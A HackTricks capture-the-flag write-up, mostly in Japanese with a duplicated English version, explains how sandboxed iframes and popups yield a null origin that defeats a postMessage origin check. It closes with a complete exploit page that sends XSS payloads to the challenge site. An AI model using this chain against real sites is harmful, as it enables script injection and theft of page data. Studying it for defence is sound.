hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

8.4 KiB
Raw Permalink Blame History

SOPをIframesでバイパスする - 1

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

SOP-1におけるIframes

このチャレンジは、NDevTKTerjanqによって作成され、XSSを悪用する必要があります。

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

The main problem is that the main page uses DomPurify to send the data.body, so in order to send your own html data to that code you need to bypass e.origin !== window.origin.

Let's see the solution they propose.

SOP bypass 1 (e.origin === null)

When //example.org is embedded into a sandboxed iframe, then the page's origin will be null, i.e. window.origin === null. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> we could force the null origin.

If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None).

SOP bypass 2 (window.origin === null)

The lesser known fact is that when the sandbox value allow-popups is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox is set.
So, opening a popup from a null origin will make window.origin inside the popup also null.

Challenge Solution

Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php), as window.origin === e.origin because both are null it's possible to send a payload that will exploit the XSS.

That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin is not satisfied (remember, the origin is the popup from the iframe which has origin null) because data.identifier === identifier. Then, the XSS will trigger again, this time in the correct origin.


主な問題は、メインページがDomPurifyを使用してdata.bodyを送信するため、独自のHTMLデータをそのコードに送信するには、e.origin !== window.originバイパスする必要があることです。

彼らが提案する解決策を見てみましょう。

SOPバイパス1 (e.origin === null)

//example.orgサンドボックス化されたiframeに埋め込まれると、ページのオリジンは**nullになります。つまり、window.origin === nullです。したがって、<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">を介してiframeを埋め込むだけで、nullオリジンを強制**することができます。

ページが埋め込み可能であれば、その方法でその保護をバイパスできます(クッキーもSameSite=Noneに設定する必要があるかもしれません)。

SOPバイパス2 (window.origin === null)

あまり知られていない事実は、サンドボックス値allow-popupsが設定されている場合開かれたポップアップは、allow-popups-to-escape-sandboxが設定されていない限り、すべてのサンドボックス属性継承することです。
したがって、nullオリジンからポップアップを開くと、ポップアップ内の**window.originnull**になります。

チャレンジ解決策

したがって、このチャレンジのために、iframe作成し、脆弱なXSSコードハンドラー/iframe.php)を持つページにポップアップを開くことができます。window.origin === e.originであるため、両方がnullであれば、XSSを悪用するペイロードを送信することが可能です。

そのペイロード識別子を取得し、XSSトップページ(ポップアップを開いたページ)に戻しますそれは脆弱な/iframe.php位置を変更します。識別子が知られているため、条件window.origin === e.originが満たされていないことは問題ではありません(オリジンはオリジンが**nullのiframeからのポップアップ**であることを思い出してください)ので、data.identifier === identifierです。次に、XSSが再びトリガーされます。今度は正しいオリジンで。

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}